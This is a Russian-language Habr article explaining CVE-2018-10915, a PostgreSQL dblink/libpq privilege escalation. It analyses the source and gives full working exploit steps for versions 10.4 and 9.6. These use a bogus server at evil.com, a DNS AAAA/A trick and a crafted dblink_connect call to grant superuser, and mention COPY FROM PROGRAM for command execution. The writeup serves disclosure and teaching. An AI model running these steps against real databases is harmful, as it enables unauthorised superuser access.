Повышение привелегий в PostgreSQL — разбор CVE-2018-10915

КДПВ

Не секрет, что стейт-машины среди нас. Они буквально повсюду, от UI до сетевого стека. Иногда сложные, иногда простые. Иногда security-related, иногда не очень. Но, зачастую, довольно увлекательны для изучения :) Сегодня я хочу рассказать об одном забавном случае с PostgreSQL — CVE-2018–10915, которая позволяла повышать привилегии до superuser.


Небольшое интро

Как вы знаете, managed databases шагают по свету. Оно и не удивительно — если у вас простое, не требовательное приложение то зачем чертыхаться с приготовлением собственной базы. Ведь у большинства облачных (или специализированных) провайдеров можно накликать себе MySQL/PostgreSQL/MongoDB/etc базу и жить припеваючи. Разумеется, это повлекло дополнительные проблемы, т.к. если раньше для эксплуатации большинства проблем безопасности в базах данных тебе нужно было сначала расхачить приложеньку (что само по себе game over в большинстве случаев), то теперь они голой жопой своим интерфейсом стоят к злоумышленнику. Тут должна быть ремарка про то что следующем барьером должна быть качественная инфраструктура и это действительно так, но сегодня не об этом.


Суть CVE-2018–10915


  • в большинстве случаев PostgreSQL не требует аутентификации для локальных подключений. Пример из официального docker-образа:
# pg_hba.conf from PostgreSQL docker image
# note: debian pkg marked only "local" connections as trusted

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust


  • благодаря расширениям dblink и postgres_fdw можно подключаться к удаленным базам. И судя по форумам об их наличии не редко просят потребители ;)
  • авторы уже обжигались на повышении привилегий, поэтому сделали хак с запретом подключения без аутентификации:
// https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639

static void
dblink_security_check(PGconn *conn, remoteConn *rconn)
{
    if (!superuser())
    {
        if (!PQconnectionUsedPassword(conn))
        {
            PQfinish(conn);
            if (rconn)
                pfree(rconn);

            ereport(ERROR,
                    (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
                     errmsg("password is required"),
                     errdetail("Non-superuser cannot connect if the server does not request a password."),
                     errhint("Target server's authentication method must be changed.")));
        }
    }
}

// https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314

int
PQconnectionUsedPassword(const PGconn *conn)
{
    if (!conn)
        return false;
    if (conn->password_needed)
        return true;
    else
        return false;
}


  • флажок password_needed устанавливается стейт-машиной после получения от сервера сообщения AUTH_REQ_MD5 или AUTH_REQ_PASSWORD
  • libpq умеет обходить несколько IP (pg 9.x) или хостов (pg 10.x/11.x) в поисках подходящего
  • стейт-машина переходит к следующему IP/хосту после установки флага password_needed в двух удобных, для нас, случаях:
    • мы хотим writable сессию (target_session_attrs=read-write), а сервер в read-only
    • при получении ошибки unknown application_name
  • при переходе к следующему IP/хосту вызывается pqDropConnection, которая очень выборочно чистит данные о подключении (т.к. часть из них может понадобится для реконнекта). Hint: password_needed не сбрасывается
  • это позволяет байпасить проверку dblink_security_check, т.к. при подключении к следующему хосту флаг остается с предыдущим значением
  • PROFIT

Таким образом, если у нас есть любой пользователь с доступом к dblink и PostgreSQL с trusted connections для этого хоста — мы можем забайпасить требование аутентификации с паролем, подключиться от имени суперюзера postgres, и выполнять от его имени что угодно (например, произвольные команды с помощью COPY foo FROM PROGRAM 'whoami';).


От теории к практике — PostgreSQL 10.4!

Но одной теорией сыт не будешь, поэтому я подготовил небольшой пример эксплуатации этой уязвимости. Начнем мы с PostgreSQL 10.4.


  • для начала, напишем и запустим простенький PostgreSQL сервер (bogus-pgsrv), который будет на любой запрос требовать аутентификацию по паролю и после его получения отправлять ошибку ERRCODE_APPNAME_UNKNOWN:
$ psql "host=evil.com user=test password=test application_name=bar"
psql: ERROR:  unknown app name
could not connect to server: Connection refused
    Is the server running on host "evil.com" (1.1.1.1) and accepting
    TCP/IP connections on port 5432?


  • теперь подготовим тестовый PostgreSQL:
$ docker run -it -d -p 5432:5432  -e POSTGRES_PASSWORD=somepass postgres:10.4
e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545

$ psql "host=localhost user=postgres password=somepass" <<'SQL'
CREATE USER test WITH PASSWORD 'test';
CREATE DATABASE test;
\c test
CREATE EXTENSION dblink;
SQL


  • проверяем что у пользователя test нет специфичных прав:
$ psql "host=localhost user=test password=test" <<'SQL'
\du
SQL
                                   List of roles
 Role name |                         Attributes                         | Member of 
-----------+------------------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
 test    


  • отлично, теперь эксплуатируем:
$ psql "host=localhost user=test password=test" <<'SQL'
select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar');
select dblink_exec('ALTER USER test WITH SUPERUSER;');
\du
SQL

 dblink_connect 
----------------
 OK
(1 row)

 dblink_exec 
-------------
 ALTER ROLE
(1 row)

                                   List of roles
 Role name |                         Attributes                         | Member of 
-----------+------------------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
 test      | Superuser  


  • все. Можем делать что вздумается ^_^


От теории к практике — PostgreSQL 9.6!

С PostgreSQL 9.x все чуть сложнее, т.к. он не поддерживает перечисления списка хостов для подключения. Но если адрес резолвится в несколько IP он обойдет их все! А т.к. у IPv6 адресов приоритет (см. RFC6724) мы можем сделать все тоже самое просто отвечая своим IP на AAAA запрос, и 127.0.0.1 на A + дропая коннекты на несколько секунд после отправки ERRCODE_APPNAME_UNKNOWN:


  • подготавливаем DNS:
$ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com
2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1
2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba


  • запускаем все тот же bogus pgsql
  • и снова подготавливаем тестовый PostgreSQL (у докера должен работать IPv6, это важно):
$ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6
dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c

$ psql "host=localhost user=postgres password=somepass" <<'SQL'
CREATE USER test WITH PASSWORD 'test';
CREATE DATABASE test;
\c test
CREATE EXTENSION dblink;
SQL


  • эксплуатируем:
$ psql "host=localhost user=test password=test" <<'SQL'
select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar');
select dblink_exec('ALTER USER test WITH SUPERUSER;');
\du
SQL
 dblink_connect 
----------------
 OK
(1 row)

 dblink_exec 
-------------
 ALTER ROLE
(1 row)

                                   List of roles
 Role name |                         Attributes                         | Member of 
-----------+------------------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
 test      | Superuser                                                  | {}


  • все. Можем делать что вздумается ^_^


Заключение

Хотел в заключение написать что-то умное, но, к сожалению, у меня нет хорошего, простого и универсального способа проверить что с вашей стейт-машиной все хорошо. Есть разнообразные попытки, но из того что я видел они или слишком узкоспециализированы, или все так же плохо справляются с логическими ошибками. Остается надеяться на бдительность и дополнительную пару глаз на ревью :(

© Habrahabr.ru